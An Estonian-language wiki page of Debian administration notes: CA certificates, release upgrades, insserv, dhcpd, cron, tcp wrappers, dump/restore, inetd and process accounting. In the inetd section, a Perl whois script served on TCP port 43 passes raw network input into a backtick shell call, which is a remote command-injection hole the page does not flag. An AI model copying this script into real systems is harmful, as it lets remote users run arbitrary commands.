Selleks, et süsteemi utiliidid, nt wget tunnustaksid veebiserveri sertifikaati peab olema vastav juur-sertifikaat ära kirjeldatud. Juur-sertifikaadi lisamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* paigaldada pakett ca-certificates&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ca-certificates&lt;br /&gt;
&lt;br /&gt;
* kopeerida uus juur-sertifikaat kataloogi /usr/local/share/ca-certificates (failinimi peab lõppema .crt vastasel korral update-ca-certificates skript seda ei käsitle)&lt;br /&gt;
&lt;br /&gt;
 # cp Juur-LOOMAAED-cacert.pem /usr/local/share/ca-certificates/Juur-LOOMAAED.crt&lt;br /&gt;
&lt;br /&gt;
* öelda&lt;br /&gt;
&lt;br /&gt;
 # update-ca-certificates&lt;br /&gt;
&lt;br /&gt;
Tulemusena genereeritakse uued c_rehashid kataloogi /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
 # ls -l /etc/ssl/certs/ | grep Juur&lt;br /&gt;
 lrwxrwxrwx 1 root root     44 Feb  3 14:18 Juur-LOOMAAED.pem -&amp;gt; /usr/local/share/ca-certificates/Juur-LOOMAAED.crt&lt;br /&gt;
 lrwxrwxrwx 1 root root     11 Feb  3 14:18 a376ee62.0 -&amp;gt; Juur-LOOMAAED.pem&lt;br /&gt;
&lt;br /&gt;
ning lisatakse ta suurfaili /etc/ssl/certs/ca-certificates.crt.&lt;br /&gt;
&lt;br /&gt;
===Debian v. 4 Etch -&amp;gt; v. 5 Lenny uuendamine===&lt;br /&gt;
&lt;br /&gt;
Kui sources.list failis lenny kasutamise järel apt-get update ütleb vea&lt;br /&gt;
&lt;br /&gt;
  W: There is no public key available for the following key IDs:&lt;br /&gt;
  4D270D06F42584E6&lt;br /&gt;
  W: You may want to run apt-get update to correct these problems&lt;br /&gt;
&lt;br /&gt;
siis aitab paigaldada debian-archive-keyring pakett&lt;br /&gt;
&lt;br /&gt;
  # apt-get install debian-archive-keyring&lt;br /&gt;
&lt;br /&gt;
Kui kasutusel on uuemad bnx2 draiveriga käivad võrgukaardid, siis tuleb jälgida, et oleks paigaldatud pakett firmware-bnx2&lt;br /&gt;
&lt;br /&gt;
  # apt-get install firmware-bnx2&lt;br /&gt;
&lt;br /&gt;
===Debian v. 5 Lenny -&amp;gt; v. 6 Squeeze uuendamine===&lt;br /&gt;
&lt;br /&gt;
Ametlik operatsioonisüsteem Debian GNU/Linux Lenny -&amp;gt; Squeeze (v. 5.0 -&amp;gt; v. 6.0) juhend asub aadresil http://www.debian.org/releases/squeeze/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
&lt;br /&gt;
Uuendamise on oluline tähele panna järgmisi asjaolusid&lt;br /&gt;
&lt;br /&gt;
* asutakse kasutama dash shelli nö süsteemse shellina, mh tähendab see, et /bin/sh -&amp;gt; bash asemel on&lt;br /&gt;
&lt;br /&gt;
 $ ls -l /bin/sh &lt;br /&gt;
 lrwxrwxrwx 1 root root 4 Dec 26  2010 /bin/sh -&amp;gt; dash&lt;br /&gt;
&lt;br /&gt;
* asuda uuendama süsteemi, millele on kõik Lenny uuendused rakendatud&lt;br /&gt;
* asendatakse legacy GRUB GRUB2 alglaaduriga, vajadusel anda pärast uuendust töötavas Squeeze süsteemis käsk upgrade-from-grub-legacy&lt;br /&gt;
* veenduda enne uuendamise protseduuri, et failisüsteemis on piisavalt vaba ruumi&lt;br /&gt;
* asutakse bootloaderis kasutama failisüsteemide plokkseadmetele vastavaid UUID väärtusi&lt;br /&gt;
* eemdalda paketihaldusest mitte paigaldatud tarkvara (nt VMWare Tools)&lt;br /&gt;
* eemaldada /etc/ alt nö käsitsi lisatud start-up skriptid, mis võivad segada automaatset süsteemi migreerimist kasutama insserv käivitusskripte&lt;br /&gt;
&lt;br /&gt;
====Uuendamise protseduur====&lt;br /&gt;
&lt;br /&gt;
* veenduda, et on olemas süsteemist varukoopia&lt;br /&gt;
* rakendada paketihaldusest uuendused vanale süsteemile&lt;br /&gt;
* teha seadistusfailidest koopia, et oleks mugav võrrelda&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc /root/etc-20110522-tootanud-lenny&lt;br /&gt;
 # cp -a /boot /root/boot-20110522-tootanud-lenny&lt;br /&gt;
&lt;br /&gt;
* eemaldada paketihaldusest mitte paigaldatud tarkvara, nt&lt;br /&gt;
&lt;br /&gt;
 # vmware-uninstall.pl&lt;br /&gt;
&lt;br /&gt;
* kasutada /etc/apt/sources.list faili sisuga, uuendamise ajal on security välja kommenteeritud&lt;br /&gt;
&lt;br /&gt;
 deb http://ftp.ee.debian.org/debian/ squeeze main contrib non-free&lt;br /&gt;
 deb-src http://ftp.ee.debian.org/debian/ squeeze main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 # deb http://security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 # deb-src http://security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get dist-upgrade -d&lt;br /&gt;
&lt;br /&gt;
* kasutada script'i esitatud küsimuste-vastuste-teadete salvestamiseks, mis töötab üldiselt nii&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/kernel-udev-upgrade-squeezestep.time -a ~/kernel-udev-upgrade-squeezestep.script&lt;br /&gt;
 Script started, file is /root/upgrade-squeezestep.script&lt;br /&gt;
 # date&lt;br /&gt;
 ...&lt;br /&gt;
 # Ctrl-D&lt;br /&gt;
 Script done, file is /root/upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
script tööga kaasneb kaks protsessi&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep scr&lt;br /&gt;
 root      4960  0.0  0.0   5848   572 pts/0    S+   10:36   0:00 script -t -a /root/upgrade-squeezestep.script&lt;br /&gt;
 root      4961  0.0  0.0   5852   460 pts/0    S+   10:36   0:00 script -t -a /root/upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
* käivitada script abil salvestamine&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/kernel-udev-upgrade-squeezestep.time -a ~/kernel-udev-upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
* uuendada tuum ja udev&lt;br /&gt;
&lt;br /&gt;
 # apt-get install linux-image-2.6-amd64&lt;br /&gt;
&lt;br /&gt;
Seejuures pakutakse ja võiks aktsepteerida plokkseadmete UUID väärtuste kasutamist.&lt;br /&gt;
&lt;br /&gt;
 # apt-get install udev&lt;br /&gt;
&lt;br /&gt;
* vajadusel paigaldada non-free firmware draiverid öeldes (nt bnx 10g seadme jaoks)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install firmware-linux-nonfree&lt;br /&gt;
&lt;br /&gt;
* veenduda, et /boot/grub/menu.lst algaadib uue tuumaga, /etc/fstab ühendab külge sobivad failisüsteemid ja alglaadida süsteem&lt;br /&gt;
* veenduda, et failisüsteemis on piisavalt ruumi, käivitada script ja paigaldada muud süsteemi uuendused&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/dist-upgrade-squeezestep.time -a ~/dist-upgrade-squeezestep.script&lt;br /&gt;
 # apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
* dash shelli kasutamiseks öeldakse&lt;br /&gt;
&lt;br /&gt;
 The system shell is the default command interpreter for shell scripts.&lt;br /&gt;
 &lt;br /&gt;
 Using dash as the system shell will improve the system's overall performance. It does not alter the shell&lt;br /&gt;
 presented to interactive users. Use dash as the default system shell (/bin/sh)? &lt;br /&gt;
&lt;br /&gt;
* dist-upgrade käigus üritatakse migreerida dependecy-based insserv käivitusskriptidele&lt;br /&gt;
&lt;br /&gt;
 The boot system is prepared to migrate to dependency-based sequencing. This is an irreversible step, but one that is recommended:   &lt;br /&gt;
 it allows the boot process to be optimized for speed and efficiency, and provides a more resilient framework for development.        &lt;br /&gt;
 &lt;br /&gt;
 A full rationale is detailed in /usr/share/doc/sysv-rc/README.Debian. If you choose not to migrate now, you can do so later by&lt;br /&gt;
 running &amp;quot;dpkg-reconfigure sysv-rc&amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
 Migrate legacy boot sequencing to dependency-based sequencing?&lt;br /&gt;
&lt;br /&gt;
* Uuendamisel tuleb kasutaja poolt muudetud seadistusfailid lasta uute nn package maintainer versiooniga üle kirjutada ja pärast muudatused käsitsi kohendada, nimekirja muudetud failidest näeb nt nii&lt;br /&gt;
&lt;br /&gt;
 # grep &amp;quot;Configuration file&amp;quot; dist-upgrade-squeezestep.script&lt;br /&gt;
 Configuration file `/etc/security/limits.conf'&lt;br /&gt;
 Configuration file `/etc/nagios/nrpe.cfg'&lt;br /&gt;
 Configuration file `/etc/sysctl.conf'&lt;br /&gt;
 Configuration file `/etc/rsyslog.conf'&lt;br /&gt;
 Configuration file `/etc/ssh/ssh_config'&lt;br /&gt;
 Configuration file `/etc/apache2/apache2.conf'&lt;br /&gt;
 Configuration file `/etc/apache2/ports.conf'&lt;br /&gt;
 Configuration file `/etc/joe/joerc'&lt;br /&gt;
 Configuration file `/etc/snmp/snmpd.conf'&lt;br /&gt;
 Configuration file `/etc/default/snmpd'&lt;br /&gt;
&lt;br /&gt;
kusjuures asendatud failst salvestatakse reeglina koopia nimele lisades lõppu .dpkg-old, nt&lt;br /&gt;
&lt;br /&gt;
 /etc/snmp/snmpd.conf.dpkg-old&lt;br /&gt;
&lt;br /&gt;
st ülekirjutatud failid leiab nt nii&lt;br /&gt;
&lt;br /&gt;
 # find /etc/ -name \*-old&lt;br /&gt;
&lt;br /&gt;
* vmware tools kompileerimise asemel on alternatiiv kasutada paketti open-vm-tools, kasutaja peab ise otsustama mida eelistada&lt;br /&gt;
&lt;br /&gt;
 # apt-get install open-vm-tools&lt;br /&gt;
 ...&lt;br /&gt;
 Loading open-vm-tools modules: vmhgfsFATAL: Module vmhgfs not found.&lt;br /&gt;
  vmmemctlFATAL: Module vmmemctl not found.&lt;br /&gt;
  vmsyncFATAL: Module vmsync not found.&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda&lt;br /&gt;
&lt;br /&gt;
 # dpkg-reconfigure sysv-rc&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda (kui uuendatavas süsteemis mingil põhjusel oli alglaadur paigaldamata paketihaldusest)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install grub-pc&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda&lt;br /&gt;
&lt;br /&gt;
 # upgrade-from-grub-legacy&lt;br /&gt;
&lt;br /&gt;
* kasutuses mitte olevate pakettide eemaldamine&lt;br /&gt;
&lt;br /&gt;
 # apt-get autoremove&lt;br /&gt;
&lt;br /&gt;
* eemaldada /etc/apt/sources.list failid security eest kommentaarid ja rakendada uuendused&lt;br /&gt;
* kohendada käsitsi paketihaldusest uuendamise käigus vaikeväärtustega asendatud seadistusfailid&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* kui uuendamine peatub seetõttu, et mõne nö ebaolulise programmi käivitusskript ei tööta, siis sobib vastav pakett eemaldada, kui ka see ei õnnestu, siis võiks proovida käivitusskripti sisu asendada millegagi, mis formaalselt toimib, nt&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/init.d/nagios3 &lt;br /&gt;
 #! /bin/sh&lt;br /&gt;
 exit 0;&lt;br /&gt;
&lt;br /&gt;
===Debian v. 6 Squeeze &amp;gt; v. 7 Wheezy uuendamine===&lt;br /&gt;
&lt;br /&gt;
Ametlik operatsioonisüsteem Debian GNU/Linux Lenny -&amp;gt; Squeeze (v. 6.0 -&amp;gt; v. 7.0) juhend asub aadresil http://www.debian.org/releases/stable/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
&lt;br /&gt;
Debian v. 7 Wheezy GRUB2 versiooni on number selline&lt;br /&gt;
&lt;br /&gt;
 GNU GRUB  version 1.99-27+deb7u1&lt;br /&gt;
&lt;br /&gt;
Kui 2015 kevadel öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 Hit http://ftp.ee.debian.org wheezy Release.gpg&lt;br /&gt;
 ...&lt;br /&gt;
 Reading package lists... Done                     &lt;br /&gt;
 W: There is no public key available for the following key IDs:&lt;br /&gt;
 7638D0442B90D010&lt;br /&gt;
&lt;br /&gt;
siis aitab&lt;br /&gt;
&lt;br /&gt;
 # apt-get install debian-keyring debian-archive-keyring&lt;br /&gt;
&lt;br /&gt;
===Debian v. 8 Jessie -&amp;gt; v. 9 Stretch uuendamine===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi uuendus toimub nagu tavaliselt, kuid viimaks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # aptitude search ?obsolete&lt;br /&gt;
 # aptitude purge ?obsolete&lt;br /&gt;
&lt;br /&gt;
MySQL -&amp;gt; MariaDB uuendus toimub üldiselt automaatselt, aga sobib lõpus öelda (vt ligipääs failist /etc/mysql/debian.cnf)&lt;br /&gt;
&lt;br /&gt;
 # mysql_upgrade -h localhost -u debian-sys-maint -pparool&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/releases/stretch/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
* https://www.auul.pri.ee/wiki/MySQL_andmebaasi_kasutamine_operatsioonis%C3%BCsteemiga_Debian#Andmebaasi_uuendamine_MySQL_v._5.5_-.3E_MariaDB_v._10.1&lt;br /&gt;
&lt;br /&gt;
===insserv käivitussüsteemi kasutamine===&lt;br /&gt;
 &lt;br /&gt;
Debian Squeeze v. 6.0 kasutab nn System-V-like käivitusskripte, kusjuures nende tööd saab seadistada insserv tarkvaraga&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/init.d/nfsen &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 set -e&lt;br /&gt;
 &lt;br /&gt;
 ### BEGIN INIT INFO&lt;br /&gt;
 # Provides:             nfsen&lt;br /&gt;
 # Required-Start:       $local_fs $remote_fs $network $time&lt;br /&gt;
 # Required-Stop:        $local_fs $remote_fs $network $time&lt;br /&gt;
 # Should-Start:         $syslog&lt;br /&gt;
 # Should-Stop:          $syslog&lt;br /&gt;
 # Default-Start:        2 3 4 5&lt;br /&gt;
 # Default-Stop:         0 1 6&lt;br /&gt;
 # Short-Description:    NfSen Server&lt;br /&gt;
 ### END INIT INFO&lt;br /&gt;
 &lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 case &amp;quot;$1&amp;quot; in&lt;br /&gt;
   start)&lt;br /&gt;
     echo &amp;quot;Starting NfSen server&amp;quot;&lt;br /&gt;
     /srv/nfsen/bin/nfsen start&lt;br /&gt;
     ;;&lt;br /&gt;
   stop)&lt;br /&gt;
     echo &amp;quot;Stopping NfSen server&amp;quot;&lt;br /&gt;
     /srv/nfsen/bin/nfsen stop&lt;br /&gt;
     ;;&lt;br /&gt;
   *)&lt;br /&gt;
      echo &amp;quot;Usage: /etc/init.d/nfsen {start|stop}&amp;quot;&lt;br /&gt;
   exit 1&lt;br /&gt;
 esac&lt;br /&gt;
 exit 0&lt;br /&gt;
&lt;br /&gt;
/etc/rc3.d jt rc kataloogide alla tekivad lingid öeldes&lt;br /&gt;
&lt;br /&gt;
 # insserv nfsen&lt;br /&gt;
&lt;br /&gt;
Käivitusskriptile linkide eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # insserv -r nfsen&lt;br /&gt;
&lt;br /&gt;
Lisaks -n võtme lisamine ainult näitab, mis toimuks&lt;br /&gt;
&lt;br /&gt;
 # insserv -n -d nfsen&lt;br /&gt;
&lt;br /&gt;
Required-Start: rea lõppu lisades nt 'postgresql' tulemusena käivitatakse kõnealune programm peale PostgreSQL andmebaasi.&lt;br /&gt;
&lt;br /&gt;
Lisamaterjalid:&lt;br /&gt;
&lt;br /&gt;
* http://wiki.debian.org/LSBInitScripts&lt;br /&gt;
* http://wiki.debian.org/LSBInitScripts/DependencyBasedBoot&lt;br /&gt;
&lt;br /&gt;
===Dhcpd serveri kasutamine===&lt;br /&gt;
&lt;br /&gt;
ISC DHCP tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dhcp3-server&lt;br /&gt;
&lt;br /&gt;
DHCP serveri tööd juhib seadistusfail, nt&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/dhcp/dhcpd.conf&lt;br /&gt;
 ddns-update-style none;&lt;br /&gt;
 default-lease-time 600;&lt;br /&gt;
 max-lease-time 7200;&lt;br /&gt;
 log-facility local7;&lt;br /&gt;
 &lt;br /&gt;
 shared-network auul {&lt;br /&gt;
   option domain-name &amp;quot;auul&amp;quot;;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
 &lt;br /&gt;
   subnet 192.168.50.0 netmask 255.255.255.0 {&lt;br /&gt;
     range 192.168.50.200 192.168.50.224;&lt;br /&gt;
     option routers 192.168.50.10;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Lisaks näidatakse failis /etc/default/isc-dhcp-server millistel võrguseadmetel teenust pakutakse&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/isc-dhcp-server&lt;br /&gt;
 ...&lt;br /&gt;
 INTERFACES=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DHCP serveri käivitab skript&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/isc-dhcp-server stop|start&lt;br /&gt;
&lt;br /&gt;
===At tööd===&lt;br /&gt;
&lt;br /&gt;
Töö tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;quot;date &amp;gt;&amp;gt; /tmp/test.log&amp;quot; | at -t 201509250950&lt;br /&gt;
&lt;br /&gt;
Tööde nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ atq&lt;br /&gt;
 10      Fri Sep 25 09:50:00 2015 a imre&lt;br /&gt;
&lt;br /&gt;
Tehtud tööd eemaldatakse automaatselt, tuleviku tööde eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 $ atrm 10&lt;br /&gt;
&lt;br /&gt;
Töö sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ at -c 10&lt;br /&gt;
&lt;br /&gt;
===Cron tööd===&lt;br /&gt;
&lt;br /&gt;
Debiani cron töid juhivad sellised seadistusfailid&lt;br /&gt;
&lt;br /&gt;
* /etc/crontab&lt;br /&gt;
* /etc/cron.d - kataloogis sisalduvaid faile käsitletakse cron kirjeldusfailidena, /etc/crontab formaadis (st sisaldub user väli)&lt;br /&gt;
* /etc/cron.daily&lt;br /&gt;
* /etc/cron.hourly&lt;br /&gt;
* /etc/cron.monthly&lt;br /&gt;
* /etc/cron.weekly&lt;br /&gt;
* /var/spool/cron/kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* man cron&lt;br /&gt;
&lt;br /&gt;
===Anacron===&lt;br /&gt;
&lt;br /&gt;
Anacron http://anacron.sourceforge.net/ ...&lt;br /&gt;
&lt;br /&gt;
===tcp wrapper teegi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Paljud Debiani programmid on kompileeritud vastu libwrap teeki, mis tähendab, et nende tööd saab kontrollida /etc/hosts.allow ja /etc/hosts.deny failidest. Nt nrpe deemoni puhul selleks, et lubada ligipääsu võrgust 172.18.20.0/24 sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/hosts.allow&lt;br /&gt;
 nrpe: 172.18.20.0/24&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/hosts.deny&lt;br /&gt;
 nrpe: ALL&lt;br /&gt;
&lt;br /&gt;
Seadistustes tehtud muudatused kehtestuvad kohe, midagi ei ole vaja reloadida ega restartida. Seda kas programm on kompileeritud vastu librwap teeki saab küsida&lt;br /&gt;
&lt;br /&gt;
 # ldd /usr/sbin/nrpe | grep libwrap&lt;br /&gt;
 libwrap.so.0 =&amp;gt; /lib/libwrap.so.0 (0x00007fd00518b000)&lt;br /&gt;
&lt;br /&gt;
===dump ja restore kasutamine===&lt;br /&gt;
&lt;br /&gt;
Dump faili moodustamiseks&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/lvmkoitenimi&lt;br /&gt;
 # dump -0uf /tmp/failinimi.dump /dev/system/lvmkoitenimi&lt;br /&gt;
  DUMP: Date of this level 0 dump: Tue Jul 12 23:45:46 2011&lt;br /&gt;
  DUMP: Dumping /dev/system/lvmkoitenimi (an unlisted file system) to /tmp/failinimi.dump&lt;br /&gt;
  DUMP: Label: none&lt;br /&gt;
  DUMP: Writing 10 Kilobyte records&lt;br /&gt;
  DUMP: mapping (Pass I) [regular files]&lt;br /&gt;
  DUMP: mapping (Pass II) [directories]&lt;br /&gt;
  DUMP: estimated 66671 blocks.&lt;br /&gt;
  DUMP: Volume 1 started with block 1 at: Tue Jul 12 23:45:47 2011&lt;br /&gt;
  DUMP: dumping (Pass III) [directories]&lt;br /&gt;
  DUMP: dumping (Pass IV) [regular files]&lt;br /&gt;
  DUMP: Closing /tmp/failinimi.dump&lt;br /&gt;
  DUMP: Volume 1 completed at: Tue Jul 12 23:45:48 2011&lt;br /&gt;
  DUMP: Volume 1 66500 blocks (64.94MB)&lt;br /&gt;
  DUMP: Volume 1 took 0:00:01&lt;br /&gt;
  DUMP: Volume 1 transfer rate: 66500 kB/s&lt;br /&gt;
  DUMP: 66500 blocks (64.94MB) on 1 volume(s)&lt;br /&gt;
  DUMP: finished in 1 seconds, throughput 66500 kBytes/sec&lt;br /&gt;
  DUMP: Date of this level 0 dump: Tue Jul 12 23:45:46 2011&lt;br /&gt;
  DUMP: Date this dump completed:  Tue Jul 12 23:45:48 2011&lt;br /&gt;
  DUMP: Average transfer rate: 66500 kB/s&lt;br /&gt;
  DUMP: DUMP IS DONE&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -0 - tekitada full dump&lt;br /&gt;
* -u - kirjutada tegevuse kohta jälg /var/lib/dumpdates faili&lt;br /&gt;
* -f - salvestada dump näidatud faili&lt;br /&gt;
&lt;br /&gt;
Dump failist taastamiseks&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/system/lvmkoitenimi_2 /mnt/lvmkoitenimi_2&lt;br /&gt;
 # cd /mnt/lvmkoitenimi_2&lt;br /&gt;
 # restore -rf /tmp/failinimi.dump&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -r - taastada dumpis käesolevasse kataloogi, mis on kuhu on monteeritud tühi failisüsteem&lt;br /&gt;
* -f - kasutatav dump fail&lt;br /&gt;
&lt;br /&gt;
===inetd===&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze paketihaldusest saab valida erinevaid inetd servereid, openbsd-inetd paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install openbsd-inetd&lt;br /&gt;
&lt;br /&gt;
2011. aasta keskel v. 1.3.5 sisaldab libexec/Lookup.pm teeki, kuhu on sisse kirjutatud whois.cyberabuse.org serveri nimi, kuid see server ei paku enam sobival viisil teenust ning tulemuseks on, et NfSen liideses ei saa enam ip aadressidel teha päringuid. Üheks alternatiiviks on seadistada käima lokaalne whois teenus, nt ühendades 43/tcp port ja sellise Perli skripti sisend ja väljund kokku inetd abil&lt;br /&gt;
&lt;br /&gt;
 # cat /srv/data/nfsen/libexec/whois.pl &lt;br /&gt;
 #!/usr/bin/perl&lt;br /&gt;
 my $filename = &amp;lt;&amp;gt;;&lt;br /&gt;
 &lt;br /&gt;
 foreach $rida($filename) {&lt;br /&gt;
   $vastus=`/usr/bin/whois $rida`;&lt;br /&gt;
   print $vastus;&lt;br /&gt;
   last;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
ning kasutades /etc/inetd.conf seadisusfailis rida&lt;br /&gt;
&lt;br /&gt;
 43 stream tcp nowait nobody /srv/data/nfsen/libexec/whois.pl whois.pl&lt;br /&gt;
&lt;br /&gt;
whois päringute esitamise kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ whois -h 127.0.0.1 127.0.0.1&lt;br /&gt;
 .. &lt;br /&gt;
 NetRange:       127.0.0.0 - 127.255.255.255&lt;br /&gt;
 CIDR:           127.0.0.0/8&lt;br /&gt;
 OriginAS:       &lt;br /&gt;
 NetName:        SPECIAL-IPV4-LOOPBACK-IANA-RESERVED&lt;br /&gt;
 NetHandle:      NET-127-0-0-0-1&lt;br /&gt;
 Parent:         &lt;br /&gt;
 NetType:        IANA Special Use&lt;br /&gt;
&lt;br /&gt;
Kasutaja peab ise otsustama, kas talle selline lahendus sobib.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
http://www.telecom.otago.ac.nz/tele301/student_html/inetd-tcpwrappers.html&lt;br /&gt;
&lt;br /&gt;
===RPC portmapper===&lt;br /&gt;
&lt;br /&gt;
Debain Squeeze paketihaldusest saab valida erinevaid RPC portmap lahendusi, portmap paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install portmap&lt;br /&gt;
&lt;br /&gt;
Arvutis töötavate RPC teenuste nimekirja küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # rpcinfo -p hostname&lt;br /&gt;
&lt;br /&gt;
Tundub, et rpcbind toetab erinevalt portmap tarkvarast IPv6 protokolli.&lt;br /&gt;
&lt;br /&gt;
===Netlink socket===&lt;br /&gt;
&lt;br /&gt;
ip programm suhtleb tuumaga kasutades netlink socket'it, mis praktiliselt tähendab nt seda, et ip programmi saab kasutada chroot keskkonnast, kus pole /proc failisüsteemi külge monteeritud (erinevalt ifconfig programmist, mis kasutab /proc failisüsteemi).&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Netlink&lt;br /&gt;
* http://www.linuxjournal.com/article/7356?page=0,0&lt;br /&gt;
&lt;br /&gt;
===Process accounting===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi Debian Squeeze vaikimisi tuum võimaldab koguda process accountiga andmeid. Seda sobib teha nt acct paketi tarkvara abil, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install acct&lt;br /&gt;
&lt;br /&gt;
Tulemusena paigaldatakse muu hulgas sellised failid&lt;br /&gt;
&lt;br /&gt;
* /usr/bin/lastcomm&lt;br /&gt;
* /usr/bin/ac&lt;br /&gt;
* /usr/sbin/accton&lt;br /&gt;
* /usr/sbin/sa&lt;br /&gt;
* /usr/sbin/dump-utmp&lt;br /&gt;
* /usr/sbin/dump-acct&lt;br /&gt;
* /etc/cron.daily/acct&lt;br /&gt;
* /etc/init.d/acct&lt;br /&gt;
* /etc/default/acct&lt;br /&gt;
* /etc/cron.monthly/acct&lt;br /&gt;
&lt;br /&gt;
Selleks, et arvutis töötavate protsesside kohta andmed kogunema hakkaksid, vaikimisi faili /var/log/account/pacct, tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # accton on | off&lt;br /&gt;
&lt;br /&gt;
Kogutud andmete esitamine toimub selliselt&lt;br /&gt;
&lt;br /&gt;
 # dump-acct /var/log/account/pacct | tail -n 5&lt;br /&gt;
 tail            |v3|     0.00|     0.00|     0.00|     0|     0|  4088.00|     0.00|   19856    19253|Mon Sep 19 20:34:56 2011&lt;br /&gt;
 cron            |v3|     0.00|     0.00|     1.00|     0|     0| 18832.00|     0.00|   19857     1138|Mon Sep 19 20:35:01 2011&lt;br /&gt;
 ssh             |v3|     0.00|     1.00|    75.00|     0|     0| 43192.00|     0.00|   19860    19633|Mon Sep 19 20:35:06 2011&lt;br /&gt;
 postgres        |v3|     0.00|     0.00|     2.00|   109|   113| 94272.00|     0.00|   19863     1395|Mon Sep 19 20:35:09 2011&lt;br /&gt;
 telnet          |v3|     0.00|     0.00|     3.00|  1000|  1000| 22680.00|     0.00|   19870    19865|Mon Sep 19 20:35:19 2011&lt;br /&gt;
&lt;br /&gt;
kus kuuendas tulbas on protsessi UID väärtus.&lt;br /&gt;
&lt;br /&gt;
===Passwords and encryption keys (Seahorse)===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mälu kasutamine===&lt;br /&gt;
&lt;br /&gt;
Arvuti mälu kasutamise kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 # free&lt;br /&gt;
              total       used       free     shared    buffers     cached&lt;br /&gt;
 Mem:        509172     501192       7980          0       3784     200248&lt;br /&gt;
 -/+ buffers/cache:     297160     212012&lt;br /&gt;
 Swap:      1048568      92568     956000&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* total (509172) - kogu RAM (miinus natuke kerneli tarvis)&lt;br /&gt;
* used (501192) - kokku kasutusel&lt;br /&gt;
* free (7980) - kokku vaba&lt;br /&gt;
* buffers (3784) - kasutusel mälust on nii palju kasutusel buffers all&lt;br /&gt;
* cached (200248) - kasutusel mälust on nii palju kasutusel failisüsteemi cache'ina&lt;br /&gt;
* teisel real on toodud arvutatud used ja free, mis vastavad sellele, kui buffers + cached oleks vastavalt maha lahutatud või juurde liidetud; selline vaade on õigustatud, kuna Linux tuum vajadusel kasutab failisüsteemi cache'iks olevat mälu ressurssi muuks tarbeks&lt;br /&gt;
&lt;br /&gt;
 297160 = 501192 - 3784 - 200248&lt;br /&gt;
 212012 = 7980 + 3784 + 200248&lt;br /&gt;
